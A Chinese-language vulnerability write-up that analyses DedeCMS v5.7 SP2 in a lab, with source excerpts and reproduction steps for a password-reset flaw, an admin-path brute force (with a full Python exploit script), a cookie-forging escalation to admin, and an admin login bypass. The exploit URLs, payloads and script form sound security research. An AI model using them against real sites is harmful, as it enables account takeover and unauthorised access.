前言
织梦内容管理系统(DedeCMS)基于PHP+MySQL开发,功能专注于个人网站或中小型门户的构建
本篇文章主要记录分析DedeCMS v5.7 SP2出现的一些漏洞。
环境配置
环境:Windows7+PHP5.2+DedeCMS V5.7 SP2,源码下载地址:
http://www.dedecms.com/products/dedecms/downloads/
URL访问uploads/
目录开始安装,填写配置信息点下一步即可
前台用户密码重置漏洞
分析
首先来到重置密码页面:
对应的源码在uploads/member/resetpassword.php
,它会包含resetpassword.htm
模板:
php
if($dopost == "")
{
include(dirname(__FILE__)."/templets/resetpassword.htm");
}
上图中可以看到页面有个隐藏的参数dopost=getpwd
,对应的源码在第20行处,它会依次验证验证码,邮箱和用户名的格式:
找到uploads/member/templets
页面,可以看到有三个resetpassword.htm
文件,分别代表找回密码的第一、二、三步;上图便是找回密码的第一步
找回密码第三步模板页面存在的隐藏参数是dopost=safequestion
,其对应的源码在resetpassword.php
的第75行,这里便是任意用户密码重置漏洞的入口点:
``` php
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
```
这里判断了$safeanswer
、$safequestion
的值是否和数据库中查询到的值相同,可以通过GET
或者POST
方式传递这些参数;当用户没有设置安全问题和答案时,从数据库中查询到的值为'0'
,可以修改resetpassword.php
,将查询的值打印出来:
但这里比较用的是弱比较,可以利用PHP弱类型,提交safequestion
为0.0
或0e1
或0.
,使之成立。(提交0
的话empty(0)
返回true
,会使$safequestion
之置空,判断失败)
之后进入到sn
函数:
php
sn($mid, $row['userid'], $row['email'], 'N');
跟进该函数,位于uploads/member/inc/inc_pwd_functions.php
第150行:
php
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}
根据传入的值,它最后会调用:
php
newmail($mid,$userid,$mailto,'INSERT','N');
跟进该函数,位于uploads/member/inc/inc_pwd_functions.php
第73行:
php
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
......
它会进入到INSERT
分支,生成md5($randval)
将其插入到pwd_tmp
表的pwd
字段,并随后进到$send == 'N'
分支将该随机值$randval
输出到网页
在来看下最终的重置用户密码的操作,位于resetpassword.php
的第97行:
在112行判断了$setp
是否为空,为空则判断临时密码修改期限是否过期,没有过期则包含resetpassword2.htm
模板,这个模板有个隐藏的setp=2
参数,会进入到elseif
分支,它会将收到的key
参数md5加密,然后与pwd_tmp
表中的pwd
字段值进行对比,相同则更新member
表的用户密码
复现
1.访问uploads/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanswer=&id=1
,每个id对应不同的用户:
2.访问返回的链接,便可进行重置密码:
p:重置admin密码后,不能前台登录(被限制),且后台也不能登录(因为这里重置的是member
表的密码,而不是admin
表的密码),可以重置其他用户密码来测试
修复也很简单,将uploads/member/resetpassword.php
第85行判断改为强比较:
php
if($row['safequestion'] === $safequestion && $row['safeanswer'] === $safeanswer)
后台目录爆破漏洞
预备知识
Windows在搜索文件时用到了FindFirstFile
这个winapi函数,该函数到一个文件夹去搜索指定文件,如果不知道文件名/所在目录,可以用<
或>
符代替不可知部分
首先在网站根目录创建一个test
文件夹,然后创建两个文件和一个文件夹:
然后在youdontknow
目录下创建一个a.png
图片
index.php
写入:
php
<?php include($_GET['file'])?>
phpinfo.php
写入:
php
<?php phpinfo();?>
<<
可以匹配多个字符,但>
不能匹配到.
,可以用?file=p>>>>>>.>>>
匹配;当文件名/目录中不含.
,例如phpinfophp
,可以用以下参数匹配到:
?file=p<
?file=p>>>>>>>
那么对于目录,可以指定一个首字符,剩余部分用<
代替;
当目录不存在时会报出Invalid argument
的Warning:
存在则报出Permission denied
的Warning:
现将index.php代码更改为:
php
<?php
$image_dd = @getimagesize($_GET['file']);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
?>
因为存在youdontknow/a.png
,路径不存在会显示Upload filetype not allow !
:
反之什么都不会显示:
那么可判断出目录名第一位字符是y
,此时便可用类似盲注的方式跑出剩余的路径名
分析
入口点:uploads/include/common.inc.php
,第145行:
php
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
P:这里入口点网上很多文章说uploads/plus/rss.php
或uploads/tags.php
,其实直接从这里开始就行
跟进uploadsafe.inc.php
,第16行:
php
foreach($_FILES as $_key=>$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit('Request Error!');
}
}
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name'];
......
......
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
}
可以看到$$_key
是可控的,那么便可以利用最后getimagesize
结合通配符爆出后台路径;
注意到这里$$_key = $_FILES[$_key]['tmp_name'];
,如果直接上传一个文件,这个tmp_name
是类似C:\Windows\php6A62.tmp
这种形式的,并不是自己构造的路径;这里就用到了uploads/include/common.inc.php
,这个文件定义了许多常量以及注册了很多外部提交的变量(86行),可以用POST
提交(这也是为什么把common.inc.php
作为入口点):
_FILES[f][tmp_name]=../d</images/error.gif&_FILES[f][name]=0&_FILES[f][size]=0&_FILES[f][type]=image/gif
可以看到此时显示的是not allow
,即没有找到这个目录,这是因为和后台目录dede
同级的目录还有一个data
,它也是d
开头的;如果爆破第一位文件名得到的结果全是not allow
,此时可判断第一位文件名是以d
开头的;
也可以换种方式,倒着爆破,先去匹配文件名的最后一位字符:
P:其实正着或倒着爆破都是一样的,如果存在某个目录名与后台目录开头和结尾的字符都相同,且位置位于后台目录上方,那就要一步步fuzz了...
复现
这里采用倒着爆破的方法,编写EXP脚本:
``` python
coding=utf8
import requests
import string
url = 'http://10.211.55.5:80/zxcvbnm/uploads/include/common.inc.php'
name = ''
dic = string.ascii_lowercase + string.digits + '-_'
flag = 0 # 标志是否爆破到最后一位
while 1:
for i in dic:
pay = i + name
headers = {"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.20.0", "Content-Type": "application/x-www-form-urlencoded"}
data = {"_FILES[f][tmp_name]": "../<{}/images/error.gif".format(pay), "_FILES[f][name]": "0", "_FILES[f][size]": "0", "_FILES[f][type]": "image/gif"}
s = requests.post(url, headers=headers, data=data).text
if 'not' in s:
flag = 1
pass
else:
flag = 0
name = i + name
print(name)
break
if flag:
break
```
运行结果:
其他
另外,getimagesize
是能发起http请求的,会造成ssrf:
用户越权漏洞
分析
用户登录后的个人空间
对应的代码在uploads/member/index.php
第122行:
``` php
else
{
require_once(DEDEMEMBER.'/inc/config_space.php');
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') )
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');
```
可以看到,当$last_vid
不存在时,它会被赋值为$last_vid = $uid;
,并且通过:
php
PutCookie('last_vid', $last_vid, 3600*24, '/');
将Cookie发送至客户端;在uploads/include/helpers/cookie.helper.php
定义了设置和获取Cookie的两个函数:
``` php
function PutCookie($key, $value, $kptime=0, $pa="/")
{
global $cfg_cookie_encode,$cfg_domain_cookie;
setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
}
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
```
当用PutCookie
设置Cookie时会设置两次,一个是普通的键值对,另一个是值的md5
加盐截断;当用GetCookie
获取Cookie时,会接收并比较设置的普通Cookie值加盐截断后与哈希值是否相同,不相同会返回为空
uploads/member/index.php
开头引入config.php
文件,跟进到config.php
,第101行,判断用户是否登录逻辑:
``` php
$keeptime = isset($keeptime) && is_numeric($keeptime) ? $keeptime : -1;
$cfg_ml = new MemberLogin($keeptime);
//判断用户是否登录
$myurl = '';
if($cfg_ml->IsLogin())
{
$myurl = $cfg_memberurl."/index.php?uid=".urlencode($cfg_ml->M_LoginID);
if(!preg_match("#^http:#i", $myurl)) $myurl = $cfg_basehost.$myurl;
}
```
跟进到定义MemberLogin
类的文件uploads/include/memberlogin.class.php
,首先来看第160行的构造函数:
``` php
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
......
```
往下第292行,该类中定义的IsLogin()
方法:
php
function IsLogin()
{
if($this->M_ID > 0) return TRUE;
else return FALSE;
}
可以发现,只要控制GetCookie("DedeUserID")
,就能控制$this->M_ID
,它首先会进行格式过滤:
```php
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
function GetNum($fnum){
$fnum = preg_replace("/[^0-9.]/", '', $fnum); #将非数字部分替换为空
return $fnum;
}
$this->M_ID = intval($this->M_ID);
```
之后会进入到:
php
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
那么让$this->M_ID
最后等于1
,便可成为管理员用户
上面提到了,要想让服务端成功接收到Cookie,需要设置两个Cookie,一个是普通键值对,一个是加盐截断后的哈希,我们可以通过$last_vid = $uid;
,将返回的last_vid
哈希字段Cookie作为DedeUserID
哈希字段Cookie
复现
1.注册用户1abc
并登录:
2.burp将Cookie置空访问uploads/member/index.php?uid=1abc
,获取到last_vid__ckMd5
的哈希值1f5f2d2c3e6e91e7
3.返回1abc
的个人空间页面,将Cookie中的DedeUserID
改为1abc
,同时替换DedeUserID__ckMd5
哈希值为1f5f2d2c3e6e91e7
保存刷新页面:
重置后台管理员密码
分析
利用上一步的用户越权漏洞变成admin用户后,来到系统设置
->基本资料
:
可以看到在这里可以进行修改密码;找到对应的源码uploads/member/edit_baseinfo.php
,验证旧密码部分:
php
$row=$dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
......
if(!is_array($row) || $row['pwd'] != md5($oldpwd))
{
ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
exit();
}
这里是从member
表中查询旧密码,进行验证;怎样得到旧密码呢?这里便可用到前台用户密码重置漏洞自己设置密码;
往后第115行:
php
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
...
//如果是管理员,修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query2);
}
如果是管理员,则在更新member
表的同时更新admin
表
复现
1.重置前台admin密码
2.越权至admin用户,之后更新个人资料,旧密码填上一步重置的密码
3.访问后台登录页登录
后台登录用户名绕过
分析
来到定义后台用户登录类的地方uploads/include/userlogin.class.php
,第248行:
php
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
这里where子句用户名比较用的是LIKE
;上面对用户名做了过滤:
php
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
那么这里可以使用_
;在MySQL中,通配符_
可以匹配任意一个字符;那么可以让_
替换用户名,只需和用户名长度相同即可绕过
复现
用五个下划线代替admin
:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论